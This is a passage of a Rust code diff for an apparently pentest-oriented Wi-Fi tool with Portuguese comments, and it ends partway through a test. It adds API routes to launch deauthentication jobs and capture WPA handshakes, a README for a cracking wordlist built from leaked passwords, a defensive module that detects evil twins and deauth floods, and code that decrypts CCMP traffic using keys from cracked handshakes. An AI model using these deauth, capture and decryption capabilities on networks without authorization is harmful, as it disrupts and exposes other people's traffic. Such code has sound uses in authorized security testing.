|
||||||
|
("POST", "/api/deauth/stop") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.stop_deauth_job(&id) {
|
||||||
|
Ok(()) => ok_json(serde_json::json!({ "ok": true })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/deauth/job") => {
|
||||||
|
let Some(id) = req.text("id") else {
|
||||||
|
return err(400, "id obrigatório");
|
||||||
|
};
|
||||||
|
match engine.deauth_job(&id) {
|
||||||
|
Some(job) => ok(&job),
|
||||||
|
None => err(404, "job não encontrado"),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("GET", "/api/deauth/jobs") => {
|
||||||
|
let jobs = engine.deauth_jobs();
|
||||||
|
match req.text("iface") {
|
||||||
|
Some(iface) => ok(&jobs
|
||||||
|
.into_iter()
|
||||||
|
.filter(|j| j.iface.eq_ignore_ascii_case(&iface))
|
||||||
|
.collect::<Vec<_>>()),
|
||||||
|
None => ok(&jobs),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
("POST", "/api/handshakes/capture") => {
|
||||||
|
if !req.bool("confirm") {
|
||||||
|
return err(400, "confirme a autorização do teste (confirm=true)");
|
||||||
|
}
|
||||||
|
let (Some(iface), Some(bssid)) = (req.text("iface"), req.text("bssid")) else {
|
||||||
|
return err(400, "iface e bssid são obrigatórios");
|
||||||
|
};
|
||||||
|
let seconds = req.u64("seconds");
|
||||||
|
match engine.capture_handshake(&iface, &bssid, req.text("station").as_deref(), seconds)
|
||||||
|
{
|
||||||
|
Ok(id) => ok_json(serde_json::json!({ "ok": true, "job": id })),
|
||||||
|
Err(e) => err(400, e),
|
||||||
|
}
|
||||||
|
}
|
||||||
("POST", "/api/analyze") => {
|
("POST", "/api/analyze") => {
|
||||||
let pcap = if !req.body.is_empty() {
|
let pcap = if !req.body.is_empty() {
|
||||||
serde_json::from_slice::<AnalyzeBody>(&req.body)
|
serde_json::from_slice::<AnalyzeBody>(&req.body)
|
||||||
|
|||||||
@@ -18,6 +18,8 @@ sha2 = "0.10"
|
|||||||
sha1 = "0.10"
|
sha1 = "0.10"
|
||||||
hmac = "0.12"
|
hmac = "0.12"
|
||||||
md-5 = "0.10"
|
md-5 = "0.10"
|
||||||
|
aes = "0.8"
|
||||||
|
flate2 = { version = "1", default-features = false, features = ["rust_backend"] }
|
||||||
|
|
||||||
[dev-dependencies]
|
[dev-dependencies]
|
||||||
tempfile = "3"
|
tempfile = "3"
|
||||||
|
|||||||
@@ -0,0 +1,31 @@
|
|||||||
|
wpa-full.txt.gz
|
||||||
|
|
||||||
|
Dois dicionários concatenados, com as duplicatas removidas e a ordem de
|
||||||
|
prioridade preservada (as entradas mais prováveis ficam primeiro, então a
|
||||||
|
quebra por dicionário tende a achar a senha mais cedo em vez de só no fim):
|
||||||
|
|
||||||
|
1. Probable-Wordlists (berzerk0), Real-Passwords/WPA-Length/
|
||||||
|
Top204Thousand-WPA-probable-v2.txt — 203.806 senhas reais vazadas, já
|
||||||
|
filtradas pro comprimento válido de WPA (8–63) e ordenadas por frequência
|
||||||
|
observada no mundo real.
|
||||||
|
https://github.com/berzerk0/Probable-Wordlists
|
||||||
|
Licença: Creative Commons Attribution-ShareAlike 4.0 International
|
||||||
|
(CC BY-SA 4.0) — https://creativecommons.org/licenses/by-sa/4.0/
|
||||||
|
|
||||||
|
2. rockyou.txt — o dump de senhas em texto puro do vazamento da RockYou de
|
||||||
|
2009 (~32 milhões de contas), aqui filtrado pro mesmo comprimento válido
|
||||||
|
de WPA. É provavelmente o dicionário de senhas mais usado em segurança
|
||||||
|
ofensiva — vem embutido por padrão até no Kali Linux
|
||||||
|
(/usr/share/wordlists/rockyou.txt.gz). Redistribuído aqui via SecLists:
|
||||||
|
https://github.com/danielmiessler/SecLists (repositório MIT; o conteúdo do
|
||||||
|
próprio rockyou.txt é dado de vazamento, sem titular de direitos autorais
|
||||||
|
que o licencie formalmente — é tratado como de uso livre pra pesquisa de
|
||||||
|
segurança em toda a indústria, mesmo padrão que o SecLists e as
|
||||||
|
distribuições Linux de pentest adotam).
|
||||||
|
|
||||||
|
Ao redistribuir este arquivo (ou um derivado dele), mantenha a atribuição ao
|
||||||
|
Probable-Wordlists acima — é a parte que tem uma licença formal que exige
|
||||||
|
isso (CC BY-SA 4.0).
|
||||||
|
|
||||||
|
Isso é atribuição e aviso de licença, não os termos legais completos da
|
||||||
|
CC BY-SA 4.0.
|
||||||
Binary file not shown.
@@ -0,0 +1,486 @@
|
|||||||
|
//! Análise de canais, detecção de anomalias (WIDS) e leitura de WPA3.
|
||||||
|
//!
|
||||||
|
//! Tudo aqui é derivado da tabela já capturada — nada injeta quadros. A
|
||||||
|
//! interface usa o resultado para desenhar o gráfico de canais e os alertas;
|
||||||
|
//! o relatório usa o mesmo modelo para não ter duas verdades.
|
||||||
|
|
||||||
|
use crate::radiotap::{self, Band};
|
||||||
|
use crate::scan::AccessPoint;
|
||||||
|
use serde::Serialize;
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct ChannelCandidate {
|
||||||
|
pub channel: u32,
|
||||||
|
pub freq_mhz: u16,
|
||||||
|
pub band: String,
|
||||||
|
pub score: f32,
|
||||||
|
pub aps: usize,
|
||||||
|
pub dfs: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct BandReport {
|
||||||
|
pub band: String,
|
||||||
|
pub candidates: Vec<ChannelCandidate>,
|
||||||
|
pub recommended: Option<u32>,
|
||||||
|
pub used_channels: Vec<u32>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct Finding {
|
||||||
|
pub id: String,
|
||||||
|
pub severity: String,
|
||||||
|
pub title: String,
|
||||||
|
pub detail: String,
|
||||||
|
pub bssid: Option<String>,
|
||||||
|
pub ssid: Option<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize)]
|
||||||
|
pub struct Wpa3Info {
|
||||||
|
pub bssid: String,
|
||||||
|
pub ssid: Option<String>,
|
||||||
|
pub mode: String,
|
||||||
|
pub pmf: bool,
|
||||||
|
pub pmf_required: bool,
|
||||||
|
pub transition: bool,
|
||||||
|
pub notes: Vec<String>,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Serialize, Default)]
|
||||||
|
pub struct Analysis {
|
||||||
|
pub bands: Vec<BandReport>,
|
||||||
|
pub findings: Vec<Finding>,
|
||||||
|
pub wpa3: Vec<Wpa3Info>,
|
||||||
|
pub deauth_60s: u32,
|
||||||
|
}
|
||||||
|
|
||||||
|
const BAND_24: &str = "2.4 GHz";
|
||||||
|
const BAND_5: &str = "5 GHz";
|
||||||
|
const BAND_6: &str = "6 GHz";
|
||||||
|
|
||||||
|
fn band_label(band: Band) -> &'static str {
|
||||||
|
match band {
|
||||||
|
Band::B2G4 => BAND_24,
|
||||||
|
Band::B5 => BAND_5,
|
||||||
|
Band::B6 => BAND_6,
|
||||||
|
Band::Unknown => BAND_24,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ap_freq(ap: &AccessPoint) -> Option<(u16, Band)> {
|
||||||
|
if let Some(freq) = ap.freq_mhz {
|
||||||
|
return Some((freq, radiotap::band_for_freq(freq)));
|
||||||
|
}
|
||||||
|
let band = ap.band?;
|
||||||
|
let channel = ap.channel?;
|
||||||
|
radiotap::channel_to_freq(channel, band).map(|freq| (freq, band))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ap_width(ap: &AccessPoint) -> u16 {
|
||||||
|
ap.width_mhz.filter(|w| *w >= 20).unwrap_or(20)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn candidates_for(band: Band) -> Vec<u32> {
|
||||||
|
match band {
|
||||||
|
Band::B2G4 => (1..=14).collect(),
|
||||||
|
Band::B5 => {
|
||||||
|
let mut chans: Vec<u32> = (36..=64).step_by(4).collect();
|
||||||
|
chans.extend((100..=144).step_by(4));
|
||||||
|
chans.extend((149..=177).step_by(4));
|
||||||
|
chans.extend([182, 184, 188, 192, 196]);
|
||||||
|
chans
|
||||||
|
}
|
||||||
|
Band::B6 => (1..=233).step_by(4).collect(),
|
||||||
|
Band::Unknown => Vec::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn is_dfs(channel: u32) -> bool {
|
||||||
|
(52..=64).contains(&channel) || (100..=144).contains(&channel)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn signal_weight(dbm: Option<i8>) -> f32 {
|
||||||
|
let dbm = dbm.unwrap_or(-75) as f32;
|
||||||
|
(1.0 - ((-dbm - 30.0) / 70.0)).clamp(0.15, 1.0)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn overlap_score(candidate_freq: u16, aps: &[(u16, u16, f32)]) -> (f32, usize) {
|
||||||
|
let half = 10.0f32;
|
||||||
|
let mut score = 0.0f32;
|
||||||
|
let mut count = 0usize;
|
||||||
|
for (freq, width, weight) in aps {
|
||||||
|
let ap_half = *width as f32 / 2.0;
|
||||||
|
let lo = (candidate_freq as f32 - half).max(*freq as f32 - ap_half);
|
||||||
|
let hi = (candidate_freq as f32 + half).min(*freq as f32 + ap_half);
|
||||||
|
let overlap = (hi - lo).max(0.0) / (half * 2.0);
|
||||||
|
if overlap > 0.0 {
|
||||||
|
score += overlap * weight;
|
||||||
|
count += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(score, count)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn band_report(band: Band, aps: &[&AccessPoint]) -> BandReport {
|
||||||
|
let mut occupied: Vec<(u16, u16, f32)> = Vec::new();
|
||||||
|
let mut used = Vec::new();
|
||||||
|
for ap in aps {
|
||||||
|
let Some((freq, _)) = ap_freq(ap) else {
|
||||||
|
continue;
|
||||||
|
};
|
||||||
|
occupied.push((
|
||||||
|
freq,
|
||||||
|
ap_width(ap),
|
||||||
|
signal_weight(ap.signal_dbm.or(ap.max_signal_dbm)),
|
||||||
|
));
|
||||||
|
if let Some(ch) = ap.channel {
|
||||||
|
used.push(ch);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
used.sort_unstable();
|
||||||
|
used.dedup();
|
||||||
|
|
||||||
|
let mut candidates: Vec<ChannelCandidate> = candidates_for(band)
|
||||||
|
.into_iter()
|
||||||
|
.filter_map(|channel| {
|
||||||
|
radiotap::channel_to_freq(channel, band).map(|freq| {
|
||||||
|
let (score, count) = overlap_score(freq, &occupied);
|
||||||
|
ChannelCandidate {
|
||||||
|
channel,
|
||||||
|
freq_mhz: freq,
|
||||||
|
band: band_label(band).to_string(),
|
||||||
|
score: (score * 1000.0).round() / 1000.0,
|
||||||
|
aps: count,
|
||||||
|
dfs: is_dfs(channel),
|
||||||
|
}
|
||||||
|
})
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
let preferred: Vec<u32> = match band {
|
||||||
|
Band::B2G4 => vec![1, 6, 11],
|
||||||
|
_ => Vec::new(),
|
||||||
|
};
|
||||||
|
let recommended = if preferred.is_empty() {
|
||||||
|
candidates
|
||||||
|
.iter()
|
||||||
|
.filter(|c| !c.dfs)
|
||||||
|
.min_by(|a, b| a.score.total_cmp(&b.score))
|
||||||
|
.or_else(|| candidates.iter().min_by(|a, b| a.score.total_cmp(&b.score)))
|
||||||
|
.map(|c| c.channel)
|
||||||
|
} else {
|
||||||
|
preferred
|
||||||
|
.into_iter()
|
||||||
|
.filter_map(|ch| candidates.iter().find(|c| c.channel == ch))
|
||||||
|
.min_by(|a, b| a.score.total_cmp(&b.score))
|
||||||
|
.map(|c| c.channel)
|
||||||
|
};
|
||||||
|
|
||||||
|
candidates.sort_by(|a, b| {
|
||||||
|
a.score
|
||||||
|
.total_cmp(&b.score)
|
||||||
|
.then_with(|| a.channel.cmp(&b.channel))
|
||||||
|
});
|
||||||
|
candidates.truncate(8);
|
||||||
|
BandReport {
|
||||||
|
band: band_label(band).to_string(),
|
||||||
|
candidates,
|
||||||
|
recommended,
|
||||||
|
used_channels: used,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn finding(
|
||||||
|
id: &str,
|
||||||
|
severity: &str,
|
||||||
|
title: impl Into<String>,
|
||||||
|
detail: impl Into<String>,
|
||||||
|
ap: Option<&AccessPoint>,
|
||||||
|
) -> Finding {
|
||||||
|
Finding {
|
||||||
|
id: id.into(),
|
||||||
|
severity: severity.into(),
|
||||||
|
title: title.into(),
|
||||||
|
detail: detail.into(),
|
||||||
|
bssid: ap.map(|a| a.bssid.clone()),
|
||||||
|
ssid: ap.and_then(|a| a.ssid.clone()),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn security_rank(security: Option<&str>) -> u8 {
|
||||||
|
match security {
|
||||||
|
Some("Open") => 0,
|
||||||
|
Some("WEP") => 1,
|
||||||
|
Some("WPA") => 2,
|
||||||
|
Some("WPA2-EAP") => 3,
|
||||||
|
Some("WPA2") => 4,
|
||||||
|
Some("WPA2/WPA3") => 5,
|
||||||
|
Some("WPA3-EAP") => 6,
|
||||||
|
Some("WPA3") => 7,
|
||||||
|
Some("OWE") => 4,
|
||||||
|
_ => 3,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wpa3_info(ap: &AccessPoint) -> Option<Wpa3Info> {
|
||||||
|
let sec = ap.security.as_deref()?;
|
||||||
|
let is_wpa3 = sec.contains("WPA3") || sec == "OWE";
|
||||||
|
if !is_wpa3 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let transition = sec == "WPA2/WPA3";
|
||||||
|
let mut notes = Vec::new();
|
||||||
|
if transition {
|
||||||
|
notes.push(
|
||||||
|
"Modo de transição aceita WPA2: um cliente pode ser induzido a usar o modo mais fraco."
|
||||||
|
.into(),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if !ap.pmf {
|
||||||
|
notes
|
||||||
|
.push("PMF não anunciado; WPA3 pressupõe proteção de quadros de gerenciamento.".into());
|
||||||
|
} else if !ap.pmf_required && !transition {
|
||||||
|
notes.push("PMF suportado, mas não obrigatório.".into());
|
||||||
|
}
|
||||||
|
if ap.wps {
|
||||||
|
notes.push("WPS ativo em rede WPA3 — combinação incomum e enfraquece o conjunto.".into());
|
||||||
|
}
|
||||||
|
if ap.wps_locked == Some(false) {
|
||||||
|
notes.push("WPS destravado: PIN pode ser testado.".into());
|
||||||
|
}
|
||||||
|
Some(Wpa3Info {
|
||||||
|
bssid: ap.bssid.clone(),
|
||||||
|
ssid: ap.ssid.clone(),
|
||||||
|
mode: sec.to_string(),
|
||||||
|
pmf: ap.pmf,
|
||||||
|
pmf_required: ap.pmf_required,
|
||||||
|
transition,
|
||||||
|
notes,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn analyze(aps: &[AccessPoint], deauth_60s: u32, now: u64) -> Analysis {
|
||||||
|
let mut findings = Vec::new();
|
||||||
|
let mut wpa3 = Vec::new();
|
||||||
|
|
||||||
|
let bands = [Band::B2G4, Band::B5, Band::B6]
|
||||||
|
.into_iter()
|
||||||
|
.filter_map(|band| {
|
||||||
|
let filtered: Vec<&AccessPoint> = aps
|
||||||
|
.iter()
|
||||||
|
.filter(|ap| ap_freq(ap).is_some_and(|(_, b)| b == band))
|
||||||
|
.collect();
|
||||||
|
if filtered.is_empty() {
|
||||||
|
None
|
||||||
|
} else {
|
||||||
|
Some(band_report(band, &filtered))
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.collect();
|
||||||
|
|
||||||
|
// SSID anunciado com seguranças diferentes é o sinal clássico de evil
|
||||||
|
// twin — legítimo costuma manter o mesmo conjunto em todos os rádios.
|
||||||
|
let mut by_ssid: HashMap<String, Vec<&AccessPoint>> = HashMap::new();
|
||||||
|
for ap in aps {
|
||||||
|
if let Some(ssid) = ap.ssid.as_deref().filter(|s| !s.is_empty()) {
|
||||||
|
by_ssid.entry(ssid.to_string()).or_default().push(ap);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (ssid, group) in &by_ssid {
|
||||||
|
if group.len() < 2 {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
let mut ranks: Vec<u8> = group
|
||||||
|
.iter()
|
||||||
|
.map(|a| security_rank(a.security.as_deref()))
|
||||||
|
.collect();
|
||||||
|
ranks.sort_unstable();
|
||||||
|
ranks.dedup();
|
||||||
|
if ranks.len() > 1 {
|
||||||
|
let detail = group
|
||||||
|
.iter()
|
||||||
|
.map(|a| format!("{} ({})", a.bssid, a.security.as_deref().unwrap_or("—")))
|
||||||
|
.collect::<Vec<_>>()
|
||||||
|
.join(", ");
|
||||||
|
findings.push(finding(
|
||||||
|
"evil_twin_security",
|
||||||
|
"bad",
|
||||||
|
format!("SSID “{ssid}” com seguranças diferentes"),
|
||||||
|
format!("O mesmo nome aparece em BSSIDs com níveis de segurança distintos: {detail}. Pode ser um evil twin ou um AP mal configurado."),
|
||||||
|
None,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if deauth_60s >= 40 {
|
||||||
|
findings.push(finding(
|
||||||
|
"deauth_flood",
|
||||||
|
"bad",
|
||||||
|
"Rajada de desautenticação",
|
||||||
|
format!("{deauth_60s} quadros de desautenticação/desassociação no último minuto. Pode ser ataque de desautenticação ou um AP instável."),
|
||||||
|
None,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
let recent_aps = aps
|
||||||
|
.iter()
|
||||||
|
.filter(|a| now.saturating_sub(a.first_seen_unix) <= 60)
|
||||||
|
.count();
|
||||||
|
if recent_aps >= 60 {
|
||||||
|
findings.push(finding(
|
||||||
|
"beacon_flood",
|
||||||
|
"warn",
|
||||||
|
"Muitos BSSIDs novos",
|
||||||
|
format!("{recent_aps} BSSIDs apareceram no último minuto — possível beacon flood ou ambiente muito denso."),
|
||||||
|
None,
|
||||||
|
));
|
||||||
|
}
|
||||||
|
|
||||||
|
for ap in aps {
|
||||||
|
let label = ap
|
||||||
|
.ssid
|
||||||
|
.clone()
|
||||||
|
.filter(|s| !s.is_empty())
|
||||||
|
.unwrap_or_else(|| ap.bssid.clone());
|
||||||
|
match ap.security.as_deref() {
|
||||||
|
Some("Open") => findings.push(finding(
|
||||||
|
"open",
|
||||||
|
"bad",
|
||||||
|
format!("Rede aberta: {label}"),
|
||||||
|
"Sem cifra no Wi-Fi; o tráfego fica exposto a qualquer estação no alcance.",
|
||||||
|
Some(ap),
|
||||||
|
)),
|
||||||
|
Some("WEP") => findings.push(finding(
|
||||||
|
"wep",
|
||||||
|
"bad",
|
||||||
|
format!("WEP em {label}"),
|
||||||
|
"WEP é quebrável em minutos; trate a rede como aberta.",
|
||||||
|
Some(ap),
|
||||||
|
)),
|
||||||
|
Some("WPA") => findings.push(finding(
|
||||||
|
"wpa1",
|
||||||
|
"warn",
|
||||||
|
format!("WPA1 (TKIP) em {label}"),
|
||||||
|
"WPA1/TKIP tem fraquezas conhecidas; migre para WPA2/CCMP ou WPA3.",
|
||||||
|
Some(ap),
|
||||||
|
)),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
if ap.wps {
|
||||||
|
findings.push(finding(
|
||||||
|
"wps",
|
||||||
|
if ap.wps_locked == Some(true) {
|
||||||
|
"info"
|
||||||
|
} else {
|
||||||
|
"warn"
|
||||||
|
},
|
||||||
|
format!("WPS ativo em {label}"),
|
||||||
|
if ap.wps_locked == Some(true) {
|
||||||
|
"O AP anuncia WPS com configuração travada."
|
||||||
|
} else {
|
||||||
|
"WPS sem lock explícito; PIN pode ser testado com reaver/bully."
|
||||||
|
},
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if !ap.pmf
|
||||||
|
&& matches!(
|
||||||
|
ap.security.as_deref(),
|
||||||
|
Some("WPA2") | Some("WPA2-EAP") | Some("WPA2/WPA3")
|
||||||
|
)
|
||||||
|
{
|
||||||
|
findings.push(finding(
|
||||||
|
"no_pmf",
|
||||||
|
"warn",
|
||||||
|
format!("Sem PMF em {label}"),
|
||||||
|
"Desautenticação e desassociação não são protegidas; clientes podem ser expulsos para facilitar a captura de handshake.",
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if ap.pmf_required && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) && !ap.pmf
|
||||||
|
{
|
||||||
|
findings.push(finding(
|
||||||
|
"pmf_inconsistent",
|
||||||
|
"warn",
|
||||||
|
format!("PMF inconsistente em {label}"),
|
||||||
|
"O AP anuncia WPA3, mas não anuncia PMF; verifique a configuração.",
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if ap.wps && ap.security.as_deref().is_some_and(|s| s.contains("WPA3")) {
|
||||||
|
findings.push(finding(
|
||||||
|
"wpa3_wps",
|
||||||
|
"warn",
|
||||||
|
format!("WPA3 com WPS em {label}"),
|
||||||
|
"WPS não faz parte do WPA3 e abre uma via mais fraca de associação.",
|
||||||
|
Some(ap),
|
||||||
|
));
|
||||||
|
}
|
||||||
|
if let Some(info) = wpa3_info(ap) {
|
||||||
|
wpa3.push(info);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
findings.sort_by_key(|f| match f.severity.as_str() {
|
||||||
|
"bad" => 0,
|
||||||
|
"warn" => 1,
|
||||||
|
_ => 2,
|
||||||
|
});
|
||||||
|
Analysis {
|
||||||
|
bands,
|
||||||
|
findings,
|
||||||
|
wpa3,
|
||||||
|
deauth_60s,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::scan::ScanTable;
|
||||||
|
use crate::testutil::{ap, beacon_frame, radiotap_wrap};
|
||||||
|
|
||||||
|
fn ingest(table: &mut ScanTable, ssid: &str, channel: u8, signal: i8, akms: &[u8]) {
|
||||||
|
let frame = beacon_frame(ap(), ssid, channel, akms);
|
||||||
|
table.ingest_at(
|
||||||
|
&radiotap_wrap(&frame, 2407 + channel as u16 * 5, signal),
|
||||||
|
100,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn recommends_16_or_11_in_24() {
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
ingest(&mut table, "Casa", 6, -40, &[2]);
|
||||||
|
let result = table.analysis();
|
||||||
|
let band = result
|
||||||
|
.bands
|
||||||
|
.iter()
|
||||||
|
.find(|b| b.band == BAND_24)
|
||||||
|
.expect("2.4");
|
||||||
|
assert!(matches!(band.recommended, Some(1 | 6 | 11)));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flags_same_ssid_with_different_security() {
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
ingest(&mut table, "Loja", 6, -40, &[2]);
|
||||||
|
let twin = beacon_frame([0x02, 0x11, 0x22, 0x33, 0x44, 0x55], "Loja", 11, &[]);
|
||||||
|
table.ingest_at(&radiotap_wrap(&twin, 2462, -50), 100);
|
||||||
|
let result = table.analysis();
|
||||||
|
assert!(result.findings.iter().any(|f| f.id == "evil_twin_security"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn flags_wps_and_weak_networks() {
|
||||||
|
let mut table = ScanTable::new();
|
||||||
|
let frame = beacon_frame(ap(), "Antiga", 1, &[]);
|
||||||
|
table.ingest_at(&radiotap_wrap(&frame, 2412, -60), 100);
|
||||||
|
let result = table.analysis();
|
||||||
|
assert!(result
|
||||||
|
.findings
|
||||||
|
.iter()
|
||||||
|
.any(|f| f.id == "wep" || f.id == "open"));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,173 @@
|
|||||||
|
//! Decriptação CCMP (WPA2-AES) de quadros de dados, usando a TK já derivada
|
||||||
|
//! de um handshake quebrado.
|
||||||
|
//!
|
||||||
|
//! Isso não serve pra forjar nem reinjetar nada — só pra enxergar o conteúdo
|
||||||
|
//! em claro (DHCP, mDNS) de um cliente cuja senha da rede já foi recuperada
|
||||||
|
//! por dicionário, e assim extrair hostname/fabricante de verdade em vez de
|
||||||
|
//! só o MAC. A chave é par (BSSID, estação): só decifra tráfego do cliente
|
||||||
|
//! cujo próprio handshake foi capturado e quebrado, nunca de terceiros —
|
||||||
|
//! cada associação tem sua PTK efêmera, então a senha da rede sozinha não
|
||||||
|
//! abre o tráfego de quem a gente não viu entrar.
|
||||||
|
//!
|
||||||
|
//! Implementa só o modo CTR (a parte que decifra o conteúdo). O MIC
|
||||||
|
//! (CBC-MAC) não é conferido: a intenção aqui é mostrar o payload de um
|
||||||
|
//! tráfego que a gente já pode decifrar porque a senha é conhecida, não
|
||||||
|
//! provar integridade de um quadro adulterado — e implementar o AAD/CBC-MAC
|
||||||
|
//! certinho exigiria replicar o mascaramento do cabeçalho 802.11 inteiro
|
||||||
|
//! sem ganho prático pro que isso serve aqui.
|
||||||
|
|
||||||
|
use aes::cipher::{BlockEncrypt, KeyInit};
|
||||||
|
use aes::Aes128;
|
||||||
|
|
||||||
|
/// Decifra o corpo de um quadro de dados CCMP, a partir do cabeçalho CCMP
|
||||||
|
/// (8 bytes) em diante — ou seja, `body` é `frame.body[frame.header_len..]`.
|
||||||
|
/// `transmitter` é o endereço 2 (A2) do quadro — o rádio que o enviou, não o
|
||||||
|
/// BSSID/estação lógicos. `qos_tid` é o TID do QoS Control (0 se não-QoS).
|
||||||
|
///
|
||||||
|
/// Retorna o LLC/SNAP + payload em claro (o mesmo formato que um quadro não
|
||||||
|
/// protegido teria), sem os 8 bytes de MIC cifrado no final.
|
||||||
|
pub fn decrypt_data(
|
||||||
|
tk: &[u8; 16],
|
||||||
|
transmitter: &[u8; 6],
|
||||||
|
qos_tid: u8,
|
||||||
|
body: &[u8],
|
||||||
|
) -> Option<Vec<u8>> {
|
||||||
|
const HEADER_LEN: usize = 8;
|
||||||
|
const MIC_LEN: usize = 8;
|
||||||
|
if body.len() < HEADER_LEN + MIC_LEN {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let pn0 = body[0];
|
||||||
|
let pn1 = body[1];
|
||||||
|
let key_id_octet = body[3];
|
||||||
|
// ExtIV (bit 5) precisa estar ligado — senão não é um cabeçalho CCMP de
|
||||||
|
// verdade (podia ser WEP de 4 bytes por coincidência de layout).
|
||||||
|
if key_id_octet & 0x20 == 0 {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
let pn2 = body[4];
|
||||||
|
let pn3 = body[5];
|
||||||
|
let pn4 = body[6];
|
||||||
|
let pn5 = body[7];
|
||||||
|
|
||||||
|
let ciphertext_and_mic = &body[HEADER_LEN..];
|
||||||
|
let ciphertext = &ciphertext_and_mic[..ciphertext_and_mic.len() - MIC_LEN];
|
||||||
|
|
||||||
|
// Nonce CCMP (13 bytes): flags/prioridade (1) || A2 (6) || PN, do byte
|
||||||
|
// mais significativo (PN5) ao menos significativo (PN0).
|
||||||
|
let mut nonce = [0u8; 13];
|
||||||
|
nonce[0] = qos_tid & 0x0f;
|
||||||
|
nonce[1..7].copy_from_slice(transmitter);
|
||||||
|
nonce[7] = pn5;
|
||||||
|
nonce[8] = pn4;
|
||||||
|
nonce[9] = pn3;
|
||||||
|
nonce[10] = pn2;
|
||||||
|
nonce[11] = pn1;
|
||||||
|
nonce[12] = pn0;
|
||||||
|
|
||||||
|
let cipher = Aes128::new(tk.into());
|
||||||
|
let mut out = Vec::with_capacity(ciphertext.len());
|
||||||
|
let mut counter: u16 = 1; // o bloco de contador 0 cifra só o MIC, não dado.
|
||||||
|
for chunk in ciphertext.chunks(16) {
|
||||||
|
let mut block = [0u8; 16];
|
||||||
|
block[0] = 0x01; // flag octet do CCMP counter mode (L=1, sem AAD aqui)
|
||||||
|
block[1..14].copy_from_slice(&nonce);
|
||||||
|
block[14..16].copy_from_slice(&counter.to_be_bytes());
|
||||||
|
let mut keystream = block.into();
|
||||||
|
cipher.encrypt_block(&mut keystream);
|
||||||
|
for (c, k) in chunk.iter().zip(keystream.iter()) {
|
||||||
|
out.push(c ^ k);
|
||||||
|
}
|
||||||
|
counter = counter.wrapping_add(1);
|
||||||
|
}
|
||||||
|
Some(out)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
/// AES-128 do FIPS-197 (vetor de referência oficial do NIST): confirma
|
||||||
|
/// que a cifra de bloco usada embaixo está correta antes de confiar no
|
||||||
|
/// contador CTR por cima dela.
|
||||||
|
#[test]
|
||||||
|
fn aes128_matches_fips197_vector() {
|
||||||
|
let key: [u8; 16] = [
|
||||||
|
0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d,
|
||||||
|
0x0e, 0x0f,
|
||||||
|
];
|
||||||
|
let plaintext: [u8; 16] = [
|
||||||
|
0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd,
|
||||||
|
0xee, 0xff,
|
||||||
|
];
|
||||||
|
let expected: [u8; 16] = [
|
||||||
|
0x69, 0xc4, 0xe0, 0xd8, 0x6a, 0x7b, 0x04, 0x30, 0xd8, 0xcd, 0xb7, 0x80, 0x70, 0xb4,
|
||||||
|
0xc5, 0x5a,
|
||||||
|
];
|
||||||
|
let cipher = Aes128::new(&key.into());
|
||||||
|
